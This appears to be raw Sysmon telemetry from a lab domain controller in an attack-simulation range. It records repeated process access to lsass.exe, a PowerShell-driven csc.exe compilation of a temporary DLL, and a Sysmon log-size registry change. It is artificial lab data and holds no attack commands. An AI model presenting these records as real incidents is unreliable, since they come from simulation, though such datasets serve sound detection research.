09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 13241300x8000000000000000287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-SetValue2020-10-09 09:08:42.424{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational\MaxSizeDWORD (0x12d2c000) 10341000x8000000000000000286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.158{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.158{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.158{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:42.112{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\4wwbwlsx.dll2020-10-09 09:08:42.018 10341000x8000000000000000282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0503-000000007E01}4272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0503-000000007E01}4272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.096{A5F018FF-289A-5F80-0403-000000007E01}44282964C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-289A-5F80-0503-000000007E01}4272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.108{A5F018FF-289A-5F80-0503-000000007E01}4272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC386.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC969F56F971A74347BB877F6911F2285C.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4wwbwlsx.cmdline" 10341000x8000000000000000269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 